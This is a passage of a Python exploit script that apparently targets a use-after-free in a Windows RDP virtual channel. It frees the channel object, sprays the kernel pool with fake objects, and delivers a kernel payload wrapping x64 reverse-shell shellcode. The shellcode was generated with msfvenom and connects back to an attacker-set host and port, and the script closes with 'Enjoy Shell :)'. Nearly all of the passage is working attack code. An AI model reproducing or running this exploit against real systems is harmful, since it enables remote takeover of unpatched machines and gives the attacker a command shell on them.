sendToVirtualChannel(tls, free_mst120_channel, initiator, 1005)
print '[-] Taking Over Freed Object And Pool Spraying'
pool_size = 0x630
pool_address = 0xfffffa80055ff980
#pool_address = 0xfffffa800b5ff980
pool_storage_address = pool_address + 0x48
pool_shellcode_address = pool_address + 0x50
fake_channel_object = '\x00' * 200 + pack('<Q', pool_storage_address) + '\x00' * 88
# Reference: msfvenom --platform windows -p windows/x64/shell_reverse_tcp LHOST=192.168.0.175 LPORT=4444 -f python
reverse_shell = '\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02\x00' + pack('>H', lport) + socket.inet_aton(lhost) + '\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5'
shellcode = makeKernelUserPayload(reverse_shell, pool_size)
payload = pack('<Q', pool_shellcode_address) + shellcode
for i in xrange(0x1000):
sendToVirtualChannel(tls, fake_channel_object, initiator, 1006)
for i in xrange(10):
sendToVirtualChannel(tls, payload, initiator, 1006)
#raw_input('Press Enter To Trigger UAF')
print '[-] Triggering Used After Free'
print
print '[*] Enjoy Shell :) [*]'
print
tls.close()